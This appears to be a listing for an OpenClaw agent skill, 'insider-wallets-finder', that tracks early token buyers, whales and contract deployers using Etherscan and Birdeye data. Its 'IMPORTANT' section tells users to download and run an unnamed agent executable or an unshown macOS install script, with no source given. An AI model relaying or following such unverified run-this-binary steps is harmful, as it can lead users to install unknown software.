insider-wallets-finder

What This Skill Does

The insider-wallets-finder skill is a sophisticated analytical tool designed to uncover on-chain alpha by identifying, tracking, and analyzing smart money addresses. It empowers users to look beyond surface-level market noise by monitoring early token buyers, identifying consistent profitable traders, spotting whale accumulation patterns, and researching deployer behavior. By leveraging external data sources like Etherscan and Birdeye through the OpenClaw agent infrastructure, this skill bridges the gap between raw blockchain data and actionable trading intelligence.

Installation

Installation is handled via the OpenClaw manager. Execute the following command in your terminal: clawhub install openclaw/skills/skills/hightower6eu/insider-wallets-finder-ngv64.

IMPORTANT: This skill requires the openclaw-agent utility. For Windows, download the official release from the GitHub repository and ensure the executable is running. For macOS, use the provided installation script snippet from the documentation to configure your environment. Failure to configure the agent will result in data retrieval errors.

Use Cases

1. Early Detection: Identify wallets that purchased a token in its first 100 transfers to filter for "insider" activity or high-conviction early investors.
2. Pattern Recognition: Research known project deployers to see their history of previous contract deployments, helping to vet new project teams.
3. Whale Tracking: Monitor the top 50 holders of a specific token to observe accumulation or distribution trends over time.
4. Performance Analysis: Utilize GraphQL queries to isolate high-volume swaps and identify consistent DEX traders who prioritize tokens with significant market movement.

Example Prompts

1. "Find the early buyers for the token at 0x123... and show me the top 20 addresses that bought in the first 100 transactions."
2. "Analyze the deployer of 0xabc... and list the last 10 contracts they created to see if they have a history of successful projects."
3. "Track the whale accumulation for the token at 0xxyz... and print out the top 20 holders by balance to identify potential concentration risk."

Tips & Limitations

• Data Accuracy: Always verify address labels with block explorers; not all "smart money" addresses are necessarily profitable.
• API Rate Limits: Frequent requests to public APIs like Etherscan or Birdeye may hit rate limits if you do not provide your own valid API key.
• Contextual Analysis: This tool provides data, but successful trading requires interpreting that data against broader market conditions. Use this as a research assistant, not an automated trading engine.